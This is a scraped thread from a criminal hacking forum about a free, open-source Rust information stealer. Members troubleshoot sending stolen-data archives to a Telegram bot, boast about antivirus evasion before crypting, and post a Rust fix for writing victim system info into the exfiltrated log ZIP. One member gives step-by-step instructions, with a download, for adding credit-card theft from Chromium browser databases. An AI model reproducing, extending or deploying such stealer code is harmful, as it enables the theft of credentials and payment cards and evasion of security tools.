• XSS.stack #1 – первый литературный журнал от юзеров форума

FREE & opensrc Rust Stealer

Отслеживать
Пожалуйста, обратите внимание, что пользователь заблокирован
fixing some errors with RR IDE
 
nikolatesla сказал(а):
Bro, for some reason nothing is sent through the bot to the channel, I don’t understand what the problem is
Fixed with him in telegram, His issue was uploading of ZIP too long to tg api
 
Пожалуйста, обратите внимание, что пользователь заблокирован
DoKitO сказал(а):
Fixed with him in telegram, His issue was uploading of ZIP too long to tg api
haha ok cool, i have never seen that issue before have you?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Scan result: This file was detected by [1 / 40] engine(s)

File name:
rust-stealer-xss-nov2023.exe

File size:
5491200 bytes

Analysis date:
2023-11-25 | 18:02:40

And this was before crypt, straight after compiling....and no, I was not using virus total to run the scan ;)
 
shook_1 сказал(а):
Scan result: This file was detected by [1 / 40] engine(s)

File name:
rust-stealer-xss-nov2023.exe

File size:
5491200 bytes

Analysis date:
2023-11-25 | 18:02:40

And this was before crypt, straight after compiling....and no, I was not using virus total to run the scan ;)
:oops:
 
shook_1 сказал(а):
Scan result: This file was detected by [1 / 40] engine(s)

File name:
rust-stealer-xss-nov2023.exe

File size:
5491200 bytes

Analysis date:
2023-11-25 | 18:02:40

And this was before crypt, straight after compiling....and no, I was not using virus total to run the scan ;)
They will Most likely Flag again, but its easy to Bypass😂
 
There is a small error in the way the user_info.txt file is inserted into the out.zip file

The buffer_pc_info information is written into user_info.txt after the "out.zip" file is generated, which causes an error in the log sent - due to the lack of log information:
log1.png


This causes the user_info.txt file inside "out.zip" to arrive without the correct information

I tried to send a (pull request) but the repository was deleted from github:(

I just changed the order of events and now everything is fine:
C++: 
let _ = std::fs::write(
        format!("{}\\{}", path, obfstr::obfstr!("user_info.txt")),
        buffer_pc_info.join("\r\n")
    ).unwrap();

    zip_create_from_directory(
        &std::path::Path::new(&format!(
            "{path}\\{out}",
            path = std::env::temp_dir().to_string_lossy()
        ))
        .to_path_buf(),
        &std::path::Path::new(&path).to_path_buf(),
    )
    .unwrap();

Great work by the developer, the code is easy to understand and well organized
 

Вложения

  • log1.png
    log1.png
    3.9 КБ · Просмотры: 59
Adding CC capture - Here is the function for capturing CC, it follows the same logic and flow as the rest of the code!

First we go to: \src\chromium\utils.rs and add "credit_card_data: Vec::new(), //ADD" inside "Profile" so that we can retrieve this value later like all other fields!
F.png


add let _ = get_credit_card_data(self); inside : grab_all so that our function is correctly called!
cc - Copia.png

Create the structure to store the CC data that will be retrieved from the database:
asdadasdasdasdads.png

Now is our capture function:
CCCCCC.png



Now let's go to: \src\main.rs between 399 to 440 and add the code responsible for formatting and adding the captured data into the log file!
1111.png

--------Downlod --------
 

Вложения

  • 123123.png
    123123.png
    21.2 КБ · Просмотры: 22
  • asdasdasdasdsadasdasdasds.png
    asdasdasdasdsadasdasdasds.png
    10.1 КБ · Просмотры: 23
  • bbb.png
    bbb.png
    27.2 КБ · Просмотры: 24
  • CC_CAP.zip
    1.7 КБ · Просмотры: 80
Последнее редактирование:
Mr_Stuxnot сказал(а):
Adding CC capture - Here is the function for capturing CC, it follows the same logic and flow as the rest of the code!

First we go to: \src\chromium\utils.rs and add "credit_card_data: Vec::new(), //ADD" inside "Profile" so that we can retrieve this value later like all other fields!
Посмотреть вложение 71645

add let _ = get_credit_card_data(self); inside : grab_all so that our function is correctly called!
Посмотреть вложение 71624
Create the structure to store the CC data that will be retrieved from the database:
Посмотреть вложение 71626
Now is our capture function:
Посмотреть вложение 71629


Now let's go to: \src\main.rs between 399 to 440 and add the code responsible for formatting and adding the captured data into the log file!
Посмотреть вложение 71644
--------Downlod --------
Ty I'll add it to main src on github, so if DoKitO push update it will be also included!
 
Yuji0x01 сказал(а):
but why people says that rust is bad actually, while u made a hole stealer with it ? '-' ( i don't have knowledge abt it tbh)
I must be living in an alternate reality because I could have swore that Rust had a whole circlejerk going around it just like GO, before it
 
admin


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх